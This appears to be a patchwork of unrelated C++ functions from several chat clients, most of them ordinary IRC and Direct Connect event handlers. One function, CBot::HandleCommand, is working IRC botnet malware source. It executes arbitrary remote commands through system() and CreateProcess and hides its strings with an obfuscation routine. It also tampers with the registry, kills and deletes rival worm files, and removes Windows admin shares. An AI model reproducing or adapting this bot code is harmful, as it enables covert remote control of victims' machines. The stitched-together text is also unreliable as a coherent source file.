void wxLIRCCSession::onQuit( const char * event, const char * origin, const char ** params, unsigned int count ) { wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sReason( params[0], wxConvUTF8 ); data.Add( sNick) ; // The person, who is disconnected. data.Add( sReason ); // Optional, contains the reason message (user-specified). wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_QUIT, wxLIRCC_ID_CHAN_QUIT, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void ChatCtrl::FormatChatLine(const tstring& sMyNick, tstring& sText, CHARFORMAT2& cf, bool isMyMessage, const tstring& sAuthor, LONG lSelBegin, bool bUseEmo) { // Set text format tstring sMsgLower(sText.length(), NULL); std::transform(sText.begin(), sText.end(), sMsgLower.begin(), _totlower); LONG lSelEnd = lSelBegin + sText.size(); SetSel(lSelBegin, lSelEnd); SetSelectionCharFormat(isMyMessage ? WinUtil::m_ChatTextMyOwn : cf); // highlight all occurences of my nick long lMyNickStart = -1, lMyNickEnd = -1; size_t lSearchFrom = 0; tstring sNick(sMyNick.length(), NULL); std::transform(sMyNick.begin(), sMyNick.end(), sNick.begin(), _totlower); bool found = false; while((lMyNickStart = sMsgLower.find(sNick, lSearchFrom)) != tstring::npos) { lMyNickEnd = lMyNickStart + (long)sNick.size(); SetSel(lSelBegin + lMyNickStart, lSelBegin + lMyNickEnd); SetSelectionCharFormat(WinUtil::m_TextStyleMyNick); lSearchFrom = lMyNickEnd; found = true; } if(found) { if( !SETTING(CHATNAMEFILE).empty() && !BOOLSETTING(SOUNDS_DISABLED) && !sAuthor.empty() && (stricmp(sAuthor.c_str(), sNick) != 0)) { ::PlaySound(Text::toT(SETTING(CHATNAMEFILE)).c_str(), NULL, SND_FILENAME | SND_ASYNC); } } // highlight all occurences of favourite users' nicks FavoriteManager::FavoriteMap ul = FavoriteManager::getInstance()->getFavoriteUsers(); for(FavoriteManager::FavoriteMap::const_iterator i = ul.begin(); i != ul.end(); ++i) { const FavoriteUser& pUser = i->second; lSearchFrom = 0; sNick = Text::toT(pUser.getNick()); std::transform(sNick.begin(), sNick.end(), sNick.begin(), _totlower); while((lMyNickStart = sMsgLower.find(sNick, lSearchFrom)) != tstring::npos) { lMyNickEnd = lMyNickStart + (long)sNick.size(); SetSel(lSelBegin + lMyNickStart, lSelBegin + lMyNickEnd); SetSelectionCharFormat(WinUtil::m_TextStyleFavUsers); lSearchFrom = lMyNickEnd; } } // Links and smilies FormatEmoticonsAndLinks(sText, sMsgLower, lSelBegin, bUseEmo); }
void wxLIRCCSession::onDCCChatReq ( const char * nick, const char * addr, irc_dcc_t dccid ) { wxString sNick( nick, wxConvUTF8 ); wxString sAddr( addr, wxConvUTF8 ); wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_DCCCHAT, wxLIRCC_ID_DCC_CHAT_REQ, this ); sessionevent.SetOrigin( sNick ); // The person who requested DCC CHAT with you. sessionevent.SetString( sAddr ); // The person's IP address in decimal-dot notation. sessionevent.SetId( dccid ); // An ID associated with this request. Use it in calls to irc_dcc_accept() or irc_dcc_decline(). wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); // The "DCC Chat" event is triggered when someone requests a DCC CHAT from you. // See the params in ::irc_event_dcc_chat_t specification. }
void wxLIRCCSession::onJoin( const char * event, const char * origin, const char ** params, unsigned int count ) { if ( count < 1 ) return; wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sChan( params[0], wxConvUTF8 ); data.Add( sNick ); // Who joins the channel. By comparing it with your own nickname, you can check whether your JOIN command succeed. data.Add( sChan ); // Mandatory, contains the channel name. wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_JOIN, wxLIRCC_ID_CHAN_JOIN, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void wxLIRCCSession::onNick ( const char * event, const char * origin, const char ** params, unsigned int count ) { if ( count < 1 ) return; wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sNewNick( params[0], wxConvUTF8 ); data.Add(sNick); // The person, who changes the nick. Note that it can be you! data.Add(sNewNick); // Mandatory, contains the new nick. wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_NICK, wxLIRCC_ID_CHAN_NICK, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void wxLIRCCSession::onCTCPAction( const char * event, const char * origin, const char ** params, unsigned int count ) { wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sTarget( params[0], wxConvUTF8 ); wxString sMsg( params[1], wxConvUTF8 ); data.Add( sNick ); // Who generates the message. data.Add( sTarget ); // Mandatory?, contains the target name. data.Add( sMsg ); // Mandatory, the ACTION message. wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_CTCPACT, wxLIRCC_ID_CTCP_ACTION, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void wxLIRCCSession::onUserMode( const char * event, const char * origin, const char ** params, unsigned int count ) { if ( count < 1 ) return; wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sMode( params[0], wxConvUTF8 ); data.Add( sNick ); // Who changed the user mode. data.Add( sMode ); // Mandatory, contains the user changed mode, like '+t', '-i' and so on. wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_U_MODE, wxLIRCC_ID_USER_MODE, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void wxLIRCCSession::onTopic( const char * event, const char * origin, const char ** params, unsigned int count ) { if ( count < 1 ) return; wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sChan( params[0], wxConvUTF8 ); wxString sTopic( params[1], wxConvUTF8 ); data.Add( sNick ); // Who changes the channel topic. data.Add( sChan ); // Mandatory, contains the channel name. data.Add( sTopic ); // Optional, contains the new topic. wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_TOPIC, wxLIRCC_ID_CHAN_TOPIC, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void wxLIRCCSession::onPrivMsg( const char * event, const char * origin, const char ** params, unsigned int count ) { if ( count < 1 ) return; wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sMe( params[0], wxConvUTF8 ); wxString sMsg( params[1], wxConvUTF8 ); data.Add( sNick ); // Who generates the message. data.Add( sMe ); // Mandatory, contains your nick. data.Add( sMsg ); // Optional, contains the message text wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_PRIVMSG, wxLIRCC_ID_USER_MSG, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void wxLIRCCSession::onChanNotice( const char * event, const char * origin, const char ** params, unsigned int count ) { if ( count < 1 ) return; wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sTarget( params[0], wxConvUTF8 ); wxString sMsg( params[1], wxConvUTF8 ); data.Add( sNick ); // Who generates the message. data.Add( sTarget ); // Mandatory, contains the channel name. data.Add( sMsg ); // Optional, contains the message text. wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_CHAN_NOTICE, wxLIRCC_ID_CHAN_NOTICE, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void wxLIRCCSession::onPart( const char * event, const char * origin, const char ** params, unsigned int count ) { if ( count < 1 ) return; wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sChan( params[0], wxConvUTF8 ); wxString sReason( params[1], wxConvUTF8 ); data.Add( sNick ); // Who parts the channel. By comparing it with your own nickname, you can check whether your PART command succeed. data.Add( sChan ); // Mandatory, contains the channel name. data.Add( sReason ); // Optional, contains the reason message (user-defined). wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_PART, wxLIRCC_ID_CHAN_PART, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
BOOL CDCNeighbour::OnChat(CDCPacket* pPacket) { // Chat message // <Nick> Message| if ( LPCSTR szMessage = strchr( (LPCSTR)pPacket->m_pBuffer, '>' ) ) { int nNickLen = szMessage - (LPCSTR)pPacket->m_pBuffer - 1; CString sNick( UTF8Decode( (LPCSTR)&pPacket->m_pBuffer[ 1 ], nNickLen ) ); if ( nNickLen > 0 && m_sNick != sNick ) { ChatCore.OnMessage( this, pPacket ); } } return TRUE; }
void wxLIRCCSession::onKick( const char * event, const char * origin, const char ** params, unsigned int count ) { if ( count < 1 ) return; wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sChan( params[0], wxConvUTF8 ); wxString sKicked( params[1], wxConvUTF8 ); wxString sReason( params[2], wxConvUTF8 ); data.Add( sNick ); // Who kicked the poor. data.Add( sChan ); // Mandatory, contains the channel name. data.Add( sKicked ); // Optional, contains the nick of kicked person. data.Add( sReason ); // Optional, contains the kick text. wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_KICK, wxLIRCC_ID_CHAN_KICK, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void wxLIRCCSession::onMode( const char * event, const char * origin, const char ** params, unsigned int count ) { if ( count < 2 ) return; wxArrayString data; wxString sNick( origin, wxConvUTF8 ); wxString sChan( params[0], wxConvUTF8 ); wxString sChanMode( params[1], wxConvUTF8 ); wxString sModeArg( params[2], wxConvUTF8 ); data.Add( sNick ); // Who changed the channel mode. data.Add( sChan ); // Mandatory, contains the channel name. data.Add( sChanMode ); // Mandatory, contains the changed channel mode, like '+t', '-s' and so on. data.Add( sModeArg ); // Optional, contains the mode argument // (e.g. a key for +k mode, or user who got the channel operator status for +o mode) wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_MODE, wxLIRCC_ID_CHAN_MODE, this ); sessionevent.SetParams( data ); wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); }
void wxLIRCCSession::onDCCSendReq ( const char * nick, const char * addr, const char * filename, unsigned long size, irc_dcc_t dccid ) { wxArrayString data; wxString sNick( nick, wxConvUTF8 ); wxString sAddr( addr, wxConvUTF8 ); wxString sFilename( filename, wxConvUTF8 ); data.Add( sAddr ); data.Add( sFilename ); wxLIRCCSessionEvent sessionevent = wxLIRCCSessionEvent( wxLIRCC_EVT_THREAD_DCCSEND, wxLIRCC_ID_DCC_SEND_REQ, this ); sessionevent.SetOrigin( sNick ); // Who wants to send a file to you using DCCSEND. sessionevent.SetParams( data ); // The person's IP address in decimal-dot notation... // ...and the sent filename. sessionevent.SetExtraLong( size ); // The filename size. sessionevent.SetId( dccid ); // An ID associated with this request. Use it in calls to irc_dcc_accept() or irc_dcc_decline(). wxQueueEvent( wxLIRCCSessionManager::Get(), sessionevent.Clone() ); // The "DCC Send" event is triggered wants to send a file to you using DCC SEND. // As with chat, in respond you should call either irc_dcc_accept() to accept this request and receive the file, // or irc_dcc_decline() to decline this request. }
BOOL CDCNeighbour::OnRevConnectToMe(LPSTR szParams) { // Callback connection request // $RevConnectToMe RemoteNick MyNick| if ( LPSTR szRemoteNick = szParams ) { if ( LPSTR szMyNick = strchr( szRemoteNick, ' ' ) ) { *szMyNick++ = 0; CString sNick( UTF8Decode( szMyNick ) ); CString sRemoteNick( UTF8Decode( szRemoteNick ) ); if ( m_bNickValid && m_sNick == sNick ) { ConnectToMe( sRemoteNick ); } } } return TRUE; }
BOOL CDCNeighbour::OnUserIP(LPSTR szIP) { // User address // $UserIP MyNick IP| if ( LPSTR szMyNick = szIP ) { if ( LPSTR szAddress = strchr( szMyNick, ' ' ) ) { *szAddress++ = 0; CString sNick( UTF8Decode( szMyNick ) ); if ( m_bNickValid && m_sNick == sNick ) { IN_ADDR nAddress; nAddress.s_addr = inet_addr( szAddress ); Network.AcquireLocalAddress( nAddress ); } } } return TRUE; }
void C4ChatControl::OnConnectBtn(C4GUI::Control *btn) { // check parameters StdCopyStrBuf sNick(pEdtLoginNick->GetText()); StdCopyStrBuf sPass(pEdtLoginPass->GetText()); StdCopyStrBuf sRealName(pEdtLoginRealName->GetText()); StdCopyStrBuf sChannel(pEdtLoginChannel->GetText()); StdCopyStrBuf sServer(Config.IRC.Server); if (C4InVal::ValidateString(sNick, C4InVal::VAL_IRCName)) { GetScreen()->ShowErrorMessage(LoadResStr("IDS_ERR_INVALIDNICKNAME")); GetDlg()->SetFocus(pEdtLoginNick, false); return; } if (sPass.getLength() && C4InVal::ValidateString(sPass, C4InVal::VAL_IRCPass)) { GetScreen()->ShowErrorMessage( LoadResStr("IDS_ERR_INVALIDPASSWORDMAX31CHARA")); GetDlg()->SetFocus(pEdtLoginPass, false); return; } if (sChannel.getLength() && C4InVal::ValidateString(sChannel, C4InVal::VAL_IRCChannel)) { GetScreen()->ShowErrorMessage(LoadResStr("IDS_ERR_INVALIDCHANNELNAME")); GetDlg()->SetFocus(pEdtLoginChannel, false); return; } if (!sPass.getLength()) sPass.Clear(); if (!sChannel.getLength()) sChannel.Clear(); // store back config values SCopy(sNick.getData(), Config.IRC.Nick, CFG_MaxString); SCopy(sRealName.getData(), Config.IRC.RealName, CFG_MaxString); SCopy(sChannel.getData(), Config.IRC.Channel, CFG_MaxString); // show chat warning StdStrBuf sWarnMsg; sWarnMsg.Format(LoadResStr("IDS_MSG_YOUAREABOUTTOCONNECTTOAPU"), sServer.getData()); if (!GetScreen()->ShowMessageModal( sWarnMsg.getData(), LoadResStr("IDS_MSG_CHATDISCLAIMER"), C4GUI::MessageDialog::btnOKAbort, C4GUI::Ico_Notify, &Config.Startup.HideMsgIRCDangerous)) return; // set up IRC callback pIRCClient->SetNotify(&Application.InteractiveThread); // initiate connection if (!pIRCClient->Connect(sServer.getData(), sNick.getData(), sRealName.getData(), sPass.getData(), sChannel.getData())) { GetScreen()->ShowErrorMessage( FormatString(LoadResStr("IDS_ERR_IRCCONNECTIONFAILED"), pIRCClient->GetError()).getData()); return; } // enable client execution Application.InteractiveThread.AddProc(pIRCClient); // reset chat sheets (close queries, etc.) ClearChatSheets(); // connection message ChatSheet *pServerSheet = GetServerSheet(); if (pServerSheet) { pServerSheet->SetChatTitle(sServer.getData()); pServerSheet->AddTextLine(FormatString(LoadResStr("IDS_NET_CONNECTING"), sServer.getData(), "").getData(), C4GUI_MessageFontClr); } // switch to server window UpdateShownPage(); }
bool CBot::HandleCommand(CMessage *pMsg) { // ID if(!pMsg->sCmd.Compare(m_cmdId.sName.CStr())) { return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); } // Execute else if(!pMsg->sCmd.Compare(m_cmdExecute.sName.CStr())) { CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1; #ifdef WIN32 CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo); if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE; if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "exec.error", pMsg->sReplyTo.Str()); return false; } #endif return true; } // Remove Bot else if(!pMsg->sCmd.Compare(m_cmdRemove.sName.Str())) { CString sNick(pMsg->sChatString.Token(1, " ", true)); if (!sNick.Compare(g_cMainCtrl.m_sUserName.CStr())) { if(g_cMainCtrl.m_cBot.as_enabled.bValue) g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue); if(g_cMainCtrl.m_cBot.as_service.bValue) g_cMainCtrl.m_cInstaller.ServiceDel(g_cMainCtrl.m_cBot.as_service_name.sValue); g_cMainCtrl.m_cInstaller.Uninstall(); g_cMainCtrl.m_cIRC.m_bRunning=false; g_cMainCtrl.m_bRunning=false; } } // About else if(!pMsg->sCmd.Compare(m_cmdAbout.sName.CStr())) { return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, g_cMainCtrl.m_sNameVerStr.Str(), pMsg->sReplyTo.Str()); } // Flush DNS else if(!pMsg->sCmd.Compare(m_cmdFlushDNS.sName.CStr())) { #ifdef WIN32 // ipconfig.exe /flushdns Execute(dp(9,16,3,15,14,6,9,7,78,5,24,5,0).CStr(), dp(80,6,12,21,19,8,4,14,19,0).CStr()); #endif return true; } // Open File else if(!pMsg->sCmd.Compare(m_cmdOpen.sName.CStr())) { CString sText; sText=pMsg->sChatString.Token(1, " ").CStr(); CString bRet; bRet=(char)ShellExecute( NULL, "open", sText.CStr(), NULL, NULL, SW_SHOWNORMAL ); // bRet=system(sText.CStr())>0; // if(bRet) return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str()); //else return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bRet.Str(), pMsg->sReplyTo.Str()); } // Quit else if(!pMsg->sCmd.Compare(m_cmdQuit.sName.CStr())) { g_cMainCtrl.m_cIRC.m_bRunning=false; return true; } // DNS else if(!pMsg->sCmd.Compare(m_cmdDns.sName.CStr())) { CString sReply; hostent *pHostent=NULL; in_addr iaddr; if(!pMsg->sChatString.Token(1, " ").Compare("")) return false; unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr()); if(addr!=INADDR_NONE) { pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET); if(pHostent) { sReply.Format("%s resolved %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name); return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } else { pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr()); if(pHostent) { iaddr=*((in_addr*)*pHostent->h_addr_list); sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr)); return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } if(!pHostent) { sReply.Format("resolve.error %s.", pMsg->sChatString.Token(1, " ").CStr()); return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } // Random Nickname else if(!pMsg->sCmd.Compare(m_cmdRndNick.sName.CStr())) { CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); g_cMainCtrl.m_cIRC.SendRawFormat("%s %s\r\n", dp(40,35,29,37,0).CStr(), sRndNick.CStr()); g_cMainCtrl.m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); return true; } // Run Command else if(!pMsg->sCmd.Compare(m_cmdCommand.sName.CStr())) { #ifdef WIN32 if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false; CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false; CString sReplyBuf; sReplyBuf.Format("Executed: %s.", sText.CStr()); if(system(sText.CStr())==-1) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "exec.error", pMsg->sReplyTo.Str()); return false; } else { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); return false; } #endif return true; } // System Information else if(!pMsg->sCmd.Compare(m_cmdSysInfo.sName.CStr())) { return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); } // Find Files //else if(!pMsg->sCmd.Compare(m_cmdFindFiles.sName.CStr())) // { /* CString strMask = pMsg->sChatString.Token(1, " "); CString strDir = pMsg->sChatString.Token(2, " "); return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, FindFiles(strMask, strDir), pMsg->sReplyTo.Str()); */ //} // Change Nickname else if(!pMsg->sCmd.Compare(m_cmdNick.sName.CStr())) { g_cMainCtrl.m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr()); g_cMainCtrl.m_cIRC.SendRawFormat("%s %s\r\n", dp(40,35,29,37,0).CStr(), g_cMainCtrl.m_sUserName.CStr()); return true; } // Uptime check (default: 7d) else if(!pMsg->sCmd.Compare(m_cmdLongUptime.sName.CStr())) { int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7; CString sUptime=LongUptime(iDays); if(sUptime.Compare("")) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ sUptime.Str(), pMsg->sReplyTo.Str()); } return true; } // Secure Bot else if(!pMsg->sCmd.Compare(m_cmdSecure.sName.CStr())) { #ifdef WIN32 CString regLoc; regLoc = dp(45,15,6,20,23,1,18,5,80,39,9,3,18,15,19,15,6,20,80,49,9,14,4,15,23,19,80,29,21,18,18,5,14,20,48,5,18,19,9,15,14,80,44,21,14,0).CStr(); HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); RegSetValueEx(hkey, dp(31,14,1,2,12,5,30,29,41,39,0).CStr(), NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(hkey); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(45,19,1,20,5,78,5,24,5,0).CStr()); RegCloseKey(hkey); KillProcess(dp(9,18,21,14,72,78,5,24,5,0).CStr()); CString tmpBagle; GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(9,18,21,14,72,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(18,1,20,5,78,5,24,5,0).CStr()); RegCloseKey(hkey); KillProcess(dp(9,69,69,18,73,72,14,72,78,5,24,5,0).CStr()); GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(),dp(9,69,69,18,73,72,14,72,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(19,19,1,20,5,78,5,24,5,0).CStr()); RegCloseKey(hkey); KillProcess(dp(23,9,14,19,25,19,78,5,24,5,0).CStr()); GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(23,9,14,19,25,19,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(4,71,4,21,16,4,1,20,5,78,5,24,5,0).CStr()); RegCloseKey(hkey); KillProcess(dp(2,2,5,1,7,12,5,78,5,24,5,0).CStr()); GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(2,2,5,1,7,12,5,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(46,1,19,11,39,15,14,0).CStr()); RegCloseKey(hkey); KillProcess(dp(20,1,19,11,13,15,14,78,5,24,5,0).CStr()); GetSystemDirectory(tmpBagle.GetBuffer(MAX_PATH), MAX_PATH); tmpBagle.Format("%s\\%s",tmpBagle.CStr(), dp(20,1,19,11,13,15,14,78,5,24,5,0).CStr()); DeleteFile(tmpBagle); lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, regLoc.CStr(), 0, KEY_ALL_ACCESS, &hkey); RegDeleteValue(hkey, dp(31,24,16,12,15,18,5,18,0).CStr()); RegCloseKey(hkey); system("net share c$ /delete /y"); system("net share d$ /delete /y"); system("net share ipc$ /delete /y"); system("net share admin$ /delete /y"); #endif return true; } return false; }
BOOL CDCNeighbour::OnUserInfo(LPSTR szInfo) { // User info // $MyINFO $ALL nick description<tag>$ $connection$e-mail$sharesize$| if ( strncmp( szInfo, _P("$ALL ") ) == 0 ) { LPSTR szNick = szInfo + 5; if ( LPSTR szDescription = strchr( szNick, ' ' ) ) { *szDescription++ = 0; CString sNick( UTF8Decode( szNick ) ); CChatUser* pUser; if ( ! m_oUsers.Lookup( sNick, pUser ) ) { pUser = new CChatUser; m_oUsers.SetAt( sNick, pUser ); } pUser->m_bType = ( sNick == m_sNick ) ? cutMe : cutUser; pUser->m_sNick = sNick; if ( LPSTR szConnection = strchr( szDescription, '$' ) ) { *szConnection++ = 0; if ( LPSTR szVendor = strchr( szDescription, '<' ) ) { if ( *(szConnection - 2) == '>' ) { *szVendor++ = 0; *(szConnection - 2) = 0; CStringA sVersion; if ( LPSTR szTags = strchr( szVendor, ' ' ) ) { *szTags++ = 0; for ( CStringA sTags( szTags ); ! sTags.IsEmpty(); ) { CStringA sTag = sTags.SpanExcluding( "," ); sTags = sTags.Mid( sTag.GetLength() + 1 ); if ( sTag.IsEmpty() ) continue; int nPos = sTag.Find( ':' ); if ( nPos > 0 ) { CStringA sTagName = sTag.Left( nPos ); sTag = sTag.Mid( nPos + 1 ); if ( sTagName == "V" ) { // Version sVersion = sTag; } else if ( sTagName == "M" ) { // Mode } else if ( sTagName == "H" ) { // Hubs } else if ( sTagName == "S" ) { // Slots } } } } pUser->m_sUserAgent = UTF8Decode( szVendor ); if ( ! sVersion.IsEmpty() ) pUser->m_sUserAgent += _T(" ") + UTF8Decode( sVersion ); } } } pUser->m_sDescription = UTF8Decode( szDescription ); if ( m_nNodeType == ntHub ) { HostCache.DC.Add( &m_pHost.sin_addr, htons( m_pHost.sin_port ), 0, 0, 0, GetUserCount() ); } // Notify chat window ChatCore.OnAddUser( this, new CChatUser( *pUser ) ); } } return TRUE; }